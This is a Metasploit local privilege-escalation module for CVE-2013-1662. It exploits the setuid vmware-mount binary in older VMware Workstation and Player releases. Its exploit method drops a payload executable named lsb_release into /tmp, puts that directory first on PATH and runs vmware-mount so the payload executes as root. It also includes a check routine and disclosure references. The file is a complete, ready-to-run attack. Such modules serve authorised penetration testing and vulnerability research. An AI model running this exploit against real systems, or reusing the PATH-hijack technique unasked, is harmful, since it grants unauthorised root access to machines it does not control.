##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
          'Description' => %q{
            VMWare Workstation (up to and including 9.0.2 build-1031769)
            and Player have a setuid executable called vmware-mount that
            invokes lsb_release in the PATH with popen(3). Since PATH is
            user-controlled, and the default system shell on
            Debian-derived distributions does not drop privs, we can put
            an arbitrary payload in an executable called lsb_release and
            have vmware-mount happily execute it as root for us.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Tavis Ormandy', # Vulnerability discovery and PoC
            'egypt' # Metasploit module
          ],
          'Platform' => [ 'linux' ],
          'Arch' => ARCH_X86,
          'Targets' => [
            [ 'Automatic', {} ],
          ],
          'DefaultOptions' => {
            'PrependSetresuid' => true,
            'PrependSetresgid' => true,
            'PrependFork' => true
          },
          'Privileged' => true,
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2013-1662' ],
            [ 'OSVDB', '96588' ],
            [ 'BID', '61966'],
            [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
            [ 'URL', 'http://web.archive.org/web/20130831060036/http://www.vmware.com:80/support/support-resources/advisories/VMSA-2013-0010.html' ],
            [ 'URL', 'https://www.rapid7.com/blog/post/2013/09/05/cve-2013-1662-vmware-mount-exploit' ]
          ],
          'DisclosureDate' => '2013-08-22',
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [ARTIFACTS_ON_DISK]
          }
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
    ]
  end

  def vmware_mount
    '/usr/bin/vmware-mount'
  end

  def check
    return CheckCode::Safe("#{vmware_mount} file not found") unless file? vmware_mount
    return CheckCode::Safe("#{vmware_mount} is not setuid") unless setuid? vmware_mount

    CheckCode::Appears('Target appears to be vulnerable')
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
    end

    lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
    write_file(lsb_path, generate_payload_exe)
    cmd_exec("chmod +x #{lsb_path}")
    cmd_exec("PATH=#{datastore['WritableDir']}:$PATH #{vmware_mount}")
    # Delete it here instead of using FileDropper because the original
    # session can clean it up
    cmd_exec("rm -f #{lsb_path}")
  end
end
